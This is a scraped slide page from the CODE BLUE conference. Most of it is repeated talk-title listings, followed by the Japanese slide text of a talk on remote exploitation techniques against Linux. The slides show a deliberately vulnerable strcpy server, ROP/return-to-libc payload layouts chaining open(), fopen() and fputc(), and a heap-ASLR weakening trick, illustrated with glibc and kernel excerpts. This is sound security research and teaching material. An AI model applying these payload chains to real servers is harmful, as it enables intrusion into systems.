CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
CODE BLUE
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
CODE BLUE
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
CODE BLUE
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
CODE BLUE
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
CODE BLUE
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
CODE BLUE
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
CODE BLUE
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
CODE BLUE
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
CODE BLUE
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
CODE BLUE
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
CODE BLUE
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
CODE BLUE
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
CODE BLUE
 

More from CODE BLUE (20)

[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...[cb22] Hayabusa  Threat Hunting and Fast Forensics in Windows environments fo...
[cb22] Hayabusa Threat Hunting and Fast Forensics in Windows environments fo...
 
[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl[cb22] Tales of 5G hacking by Karsten Nohl
[cb22] Tales of 5G hacking by Karsten Nohl
 
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...[cb22]  Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
[cb22] Your Printer is not your Printer ! - Hacking Printers at Pwn2Own by A...
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(4) by 板橋 博之
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
 
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
 
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
 
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
 
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
 
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
 
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
 
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
 
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
 
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
 
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
 
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
 
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
 

Recently uploaded

第10回 Gen AI 勉強会「人材育成・教育WG活動報告」とChatGPTでピアノライブ♪
第10回 Gen AI 勉強会「人材育成・教育WG活動報告」とChatGPTでピアノライブ♪第10回 Gen AI 勉強会「人材育成・教育WG活動報告」とChatGPTでピアノライブ♪
第10回 Gen AI 勉強会「人材育成・教育WG活動報告」とChatGPTでピアノライブ♪
嶋 是一 (Yoshikazu SHIMA)
 
pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
NTT DATA Technology & Innovation
 
【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説
【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説
【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説
TsuyoshiSaito7
 
MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。
MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。
MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。
iPride Co., Ltd.
 
PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
NTT DATA Technology & Innovation
 
「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析
「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析
「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析
Hironori Washizaki
 
内製化 × グローバル化を通じた 世界水準の IT 組織づくり - ファーストリテイリング・デジタル変革の挑戦
内製化 × グローバル化を通じた 世界水準の IT 組織づくり - ファーストリテイリング・デジタル変革の挑戦内製化 × グローバル化を通じた 世界水準の IT 組織づくり - ファーストリテイリング・デジタル変革の挑戦
内製化 × グローバル化を通じた 世界水準の IT 組織づくり - ファーストリテイリング・デジタル変革の挑戦
Fast Retailing Co., Ltd.
 
VRM*VOICEVOX*GoogleCloudを使って自分だけのAIパートナーを作る話
VRM*VOICEVOX*GoogleCloudを使って自分だけのAIパートナーを作る話VRM*VOICEVOX*GoogleCloudを使って自分だけのAIパートナーを作る話
VRM*VOICEVOX*GoogleCloudを使って自分だけのAIパートナーを作る話
company21
 
MOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツール
MOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツールMOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツール
MOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツール
TsuyoshiSaito7
 
能動的サイバー防御の時代へ - GPTsから垣間見えた私達と未来のAIについて
能動的サイバー防御の時代へ - GPTsから垣間見えた私達と未来のAIについて能動的サイバー防御の時代へ - GPTsから垣間見えた私達と未来のAIについて
能動的サイバー防御の時代へ - GPTsから垣間見えた私達と未来のAIについて
Tetsuya Nihonmatsu
 
2024/07/04 Blazor+ローコードで実現する.NET資産のモダナイズ
2024/07/04 Blazor+ローコードで実現する.NET資産のモダナイズ2024/07/04 Blazor+ローコードで実現する.NET資産のモダナイズ
2024/07/04 Blazor+ローコードで実現する.NET資産のモダナイズ
Tatsuya Ishikawa
 
論文紹介:Coarse-to-Fine Amodal Segmentation with Shape Prior
論文紹介:Coarse-to-Fine Amodal Segmentation with Shape Prior論文紹介:Coarse-to-Fine Amodal Segmentation with Shape Prior
論文紹介:Coarse-to-Fine Amodal Segmentation with Shape Prior
Toru Tamaki
 

Recently uploaded (12)

第10回 Gen AI 勉強会「人材育成・教育WG活動報告」とChatGPTでピアノライブ♪
第10回 Gen AI 勉強会「人材育成・教育WG活動報告」とChatGPTでピアノライブ♪第10回 Gen AI 勉強会「人材育成・教育WG活動報告」とChatGPTでピアノライブ♪
第10回 Gen AI 勉強会「人材育成・教育WG活動報告」とChatGPTでピアノライブ♪
 
pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
pg_stat_activityの不可解な観測結果の謎 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
 
【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説
【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説
【GPT4-o越えのリアルタイム会話AI】kyutai labsのMoshiデモ動画を解説
 
MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。
MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。
MySQLの文字コードと照合順序について 2024/07/05の勉強会で発表されたものです。
 
PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
PostGISの落とし穴 (第47回 PostgreSQLアンカンファレンス@オンライン 発表資料)
 
「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析
「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析
「スマートエスイー」におけるスマートシステム&サービスおよびDX推進人材の産学連携育成ならびに参照モデルに基づく育成プログラム分析
 
内製化 × グローバル化を通じた 世界水準の IT 組織づくり - ファーストリテイリング・デジタル変革の挑戦
内製化 × グローバル化を通じた 世界水準の IT 組織づくり - ファーストリテイリング・デジタル変革の挑戦内製化 × グローバル化を通じた 世界水準の IT 組織づくり - ファーストリテイリング・デジタル変革の挑戦
内製化 × グローバル化を通じた 世界水準の IT 組織づくり - ファーストリテイリング・デジタル変革の挑戦
 
VRM*VOICEVOX*GoogleCloudを使って自分だけのAIパートナーを作る話
VRM*VOICEVOX*GoogleCloudを使って自分だけのAIパートナーを作る話VRM*VOICEVOX*GoogleCloudを使って自分だけのAIパートナーを作る話
VRM*VOICEVOX*GoogleCloudを使って自分だけのAIパートナーを作る話
 
MOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツール
MOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツールMOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツール
MOSHI: 革新的な音声AI QAIが開発した次世代のコミュニケーションツール
 
能動的サイバー防御の時代へ - GPTsから垣間見えた私達と未来のAIについて
能動的サイバー防御の時代へ - GPTsから垣間見えた私達と未来のAIについて能動的サイバー防御の時代へ - GPTsから垣間見えた私達と未来のAIについて
能動的サイバー防御の時代へ - GPTsから垣間見えた私達と未来のAIについて
 
2024/07/04 Blazor+ローコードで実現する.NET資産のモダナイズ
2024/07/04 Blazor+ローコードで実現する.NET資産のモダナイズ2024/07/04 Blazor+ローコードで実現する.NET資産のモダナイズ
2024/07/04 Blazor+ローコードで実現する.NET資産のモダナイズ
 
論文紹介:Coarse-to-Fine Amodal Segmentation with Shape Prior
論文紹介:Coarse-to-Fine Amodal Segmentation with Shape Prior論文紹介:Coarse-to-Fine Amodal Segmentation with Shape Prior
論文紹介:Coarse-to-Fine Amodal Segmentation with Shape Prior
 

リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

  • 3. 自己紹介 名名前前: SeokHa Lee ハハンンドドルル名名: wh1ant (white ant or ant::白白蟻蟻ももししくくはは蟻蟻) wh1ant ででfacebookややっっててまますす 韓韓国国ののハハッッカカーーチチーームム ‘WISEGUYS’ メメンンババーー いいくくつつもものの脆脆弱弱性性をを発発見見 韓韓国国ののカカンンフファァレレンンススででセセキキュュリリテティィ関関連連のの講講演演 韓韓国国のの多多くくののCTFにに挑挑戦戦のの実実績績 http://wh1ant.kr http://hackerschool.org
  • 5. 攻撃手法 •  コードインジェクション - NX機能の無効化が不可欠 •  RTL (Return-To-libc攻撃) - ASLRの無効化が不可欠 •  ROP (Return Oriented Programming) - ガジェットの存在が不可欠 - ペイロードが長くなりすぎる
  • 6. アドレスの見つけ方 •  ブルート・フォース •  メモリ読み取り •  send(), write() 関数の使用 [&send()] [&exit()] [0x00000004] [&GOT] [0x00000004] [0x00000000]
  • 7. コードと環境 int get_result(const int sock, char odd_or_even) { char small_buf[25]; char big_buf[128]; … write(sock, "pick a number 1 or 2: ", 22); length = read(sock, big_buf, sizeof(big_buf)-1); … strcpy(small_buf, big_buf); // vulnerable code if((small_buf[0]-0x31)==odd_or_even) return 1; else return 0; } Fedora 18 フォークベースの サーバ $ gcc server.c –o server -fno-stack-protector
  • 9. パーミッション付きファイルを作成 1 - /tmp ディレクトリ - libcライブラリの “/tmp” 変数を使用可能 2 – 次の条件を満たすログファイル - “log/log_%Y%m%d.log” 変数を使用可能 3 – 次の目的のためのデーモンPIDファイル - プロセスをチェックする
  • 11. 攻撃ペイロード [&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff] サーバー側で攻撃を行うためのペイロード
  • 12. 興味深いカーネルコード struct file *do_filp_open(int dfd, const char *pathname, int open_flag, int mode, int acc_mode) ... if (!(open_flag & O_CREAT)) mode = 0; /* Must never be set by userspace */ open_flag &= ~FMODE_NONOTIFY; /* * O_SYNC is implemented as __O_SYNC|O_DSYNC. As many places only * check for O_DSYNC if the need any syncing at all we enforce it's * always set instead of having to deal with possibly weird behaviour * for malicious applications setting only __O_SYNC. */ if (open_flag & __O_SYNC) open_flag |= O_DSYNC; if (!acc_mode) acc_mode = MAY_OPEN | ACC_MODE(open_flag); /* O_TRUNC implies we need access checks for write permissions */ if (open_flag & O_TRUNC) acc_mode |= MAY_WRITE; 0x40のみをチェック (O_CREAT)
  • 13. ビット単位の AND 演算 00000000 00000000 00000000 00000000 00000000 00000000 00000000 01000000 -----------------------------------------------------------0 0000000 00000000 00000000 00000000 00000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 ----------------------------------------------------------- 00000000 00000000 00000000 01000000 0x40 (O_CREAT) 00000000 00000000 00000000 01000000 0x40 (O_CREAT) 0x40 (O_CREAT)
  • 14. ファイルを作成 #include <stdio.h> #include <fcntl.h> int main(void) { close(open("test", 0x11111040, 0xfffff9ff)); return 0; } 16進数表記で 0x11111040 は、 O_CREAT を意味し、 0xfffff9ff は8進 数表記の 4777 パーミッションを意味する。プログラムを実行すると、 “test” という名のファイルができる。
  • 15. 欠陥 static inline struct file * fcheck_files(struct files_struct *files, unsigned int fd) { struct file * file = NULL; struct fdtable *fdt = files_fdtable(files); if (fd < fdt->max_fds) file = rcu_dereference_check_fdtable(files, fdt->fd[fd]); return file; } #include <unistd.h> ssize_t write(int fd, const void *buf, size_t count); ファイル記述子の最大値を超えるとNULLリターン
  • 16. 改めてテスト #include <stdio.h> int main(void) { FILE* fp=fopen("test_file", "w"); if(fp==NULL) { printf("fopen() errorn"); return -1; } fputc(‘A’, fp); fclose(fp); return 0; } #include <stdio.h> FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream);
  • 17. #include <stdio.h> int main(void) { FILE* fp=fopen("test_file", "wHello_world"); if(fp==NULL) { printf("fopen() errorn"); return -1; } fputc(0xffffff41, fp); fclose(fp); return 0; } フェイク・コード #include <stdio.h> FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream); “answer” == append モード “wer” == write モード “answer”
  • 18. fopen() 制御文字 switch (*mode) { case 'r': omode = O_RDONLY; read_write = _IO_NO_WRITES; break; case 'w': omode = O_WRONLY; oflags = O_CREAT|O_TRUNC; read_write = _IO_NO_READS; break; case 'a': omode = O_WRONLY; oflags = O_CREAT|O_APPEND; read_write = _IO_NO_READS|_IO_IS_APPENDING; break; default: __set_errno (EINVAL); return NULL; } ; ex movzx eax,BYTE PTR [eax] movsx eax,al cmp eax,0x72 ; ‘r’ check je 0x804843c
  • 19. ペイロード [&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff] [&fopen()] [pop*2] [&“filename”] [&“w”] [&fputc()] [dummy] [0xffffff41] [<file pointer>] しかし・・・ ポインターアドレスはどうやって探し出す?
  • 20. ランダムなファイルポインタ #include <stdio.h> int main(void) { FILE* fp; fp=fopen("test_file", "wt"); printf("fopen(): %pn", fp); if(fp) fclose(fp); return 0; }
  • 21. #include <stdio.h> #include <stdlib.h> int main(void) { char* p; FILE* fp; p=(char*)malloc(0xffffffff); fp=fopen("test_data", "w"); printf("malloc(): %pn", p); printf("fopen(): %pn", fp); if(p) free(p); if(fp) fclose(fp); return 0; } ヒープASLRのいくつかを無効化 0xb7400468 もしくは 0xb7500468
  • 22. ヒープ構造 1/5 malloc() brk() mmap() アロケーションサイズが 128 kb より大きな場合 __libc_malloc() -> arena_get2() -> _int_new_arena() -> new_heap() -> mmap() __libc_malloc() -> _int_malloc() -> sysmalloc() -> mmap()
  • 23. ヒープ構造 2/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { /* _int_malloc() が mmap() を引数 0xffffffff で呼び出そうとする */ 2858 victim = _int_malloc(ar_ptr, bytes); 2859 if(!victim) { // アロケーション可否をチェッ��、 0xffffffff ではサイズが大きすぎるので アロケーション不可となる 2860 /* アロケーション不可はmmapされていないエリアで実行されているためかも? */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868  /* ...もしくは、sbrk() が失敗したためでmmap() 実行可能? */ /* arena_get2() も内部でmmap() を呼び出している */ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);
  • 24. ヒープ構造 3/5 521 new_heap(size_t size, size_t top_pad) ... 552 /* メモリサイズ 0x200000 をアロケート */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // 555 ~ 557 行は0xb73fffff へのランダム化されたアドレスのオフセット 558 if (ul) 559 __munmap(p1, ul); // いくつかのメモリアロケーションを解放 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* 0x21000 以下のサイズの読み書きを可能にする */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size;
  • 25. ヒープ構造 4/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { 2858 victim = _int_malloc(ar_ptr, bytes); // fopen() が呼び出されるl 2859 if(!victim) { 2860 /*不可はmmapされていないエリアで実行されているためかも? */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868  /* ...もしくは、sbrk() が失敗したためでmmap() 実行可能? */ /* arena_get2() も内部でmmap() を呼び出している*/ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);
  • 26. ヒープ構造 5/5 2246 static void* sysmalloc(INTERNAL_SIZE_T nb, mstate av) ... 2681 p = av->top; // mmap (0xb7400000) よりのプリアロケートされたメモリアドレス 2682  size = chunksize(p); // 従前のアロケーションサイズを取得 // (返り値はほぼ 0x21000) 2683 2684  /* 上記のアロケーションパスで成功したものをチェック */ /*保存された従前のアロケーションサイズがリクエストされたメモリサイズより大 きいか否かをチェック */ 2685 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 2686 remainder_size = size - nb; 2687 remainder = chunk_at_offset(p, nb); 2688 av->top = remainder; 2689 set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); 2690 set_head(remainder, remainder_size | PREV_INUSE); 2691 check_malloced_chunk(av, p, nb); 2692 return chunk2mem(p); // mmapでアロケーションされたメモリアドレスを返す 2693 } 2694 2695 /* すべての失敗したパスをキャッチ */ 2696 __set_errno (ENOMEM); 2697 return 0; 2698 }
  • 28. ‘リピート コード’ とは? ; リピート コード 1 10101010: mov eax, ebx 10101012: jmp short 10101012 10101014: mov eax, ebx ;リピート コード 2 10101010: mov eax, ebx 10101012: jmp short 10101010 10101014: mov eax, ebx
